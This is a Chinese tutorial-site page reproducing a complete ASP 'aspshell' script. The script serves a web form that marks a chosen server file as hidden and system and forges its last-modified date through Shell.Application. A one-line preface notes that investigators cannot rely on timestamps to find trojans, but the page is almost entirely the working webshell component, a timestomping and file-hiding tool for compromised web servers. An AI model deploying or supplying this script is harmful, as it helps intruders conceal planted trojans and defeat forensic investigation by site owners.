当前位置: 首页 > 图文教程 > 网络编程 > ASP > 隐藏修改文件时间和文件属性的ASP脚本

ASP
ASP编程中15个非常有用的例子 (二)
ASP与JSP的比较(一)
ASP与JSP的比较(二)
ASP中五种连接数据库的方法
从ASP调用SQL中的图像
用排序串字段实现树状结构(例程:连接字串)
用排序串字段实现树状结构(例程:删除贴子)
用排序串字段实现树状结构(例程:回复表单)
用排序串字段实现树状结构(例程:显示贴子内容)
用排序串字段实现树状结构(例程:显示树)
用排序串字段实现树状结构(存储过程)
用排序串字段实现树状结构(库结构)
用排序串字段实现树状结构(原理)
remote script文档(转载自微软)(一)
remote script文档(转载自微软)(二)
remote script文档(转载自微软)(三)
remote script文档(转载自微软)(四)
remote script文档(转载自微软)(五)
remote script文档(转载自微软)(六)
remote script文档(转载自微软)(七)

隐藏修改文件时间和文件属性的ASP脚本


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2010-01-10   浏览: 107 ::
收藏到网摘: n/a

隐藏并修改文件的最后修改时间的aspshell,所有大家以后在查找木马的时候不能简单的根据时间来判断。
复制代码 代码如下:

<%
'隐藏并修改文件的最后修改时间的aspshell
'原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件
' 通过shell.application可以给文件重新设置一个最后修改时间
'2009/02/24 write by skyfire
response.write "<form method=post>"
response.write "路 径:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\结尾)<br />"
response.write "文件名称:<input name=filename value='test.txt' size='30'><br />"
response.write "修改时间:<input name=time value='12/30/2099 12:30:30' size='30'><br />"
response.write "<input type=submit value=修改并隐藏文件>"
response.write "</form>"
'获取提交的参数
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'通过fso设置文件属性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(path&fileName)
file.attributes=2+4 '设置文件属性为隐藏+系统
'通过shell.Application修改文件的最后修改时间
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>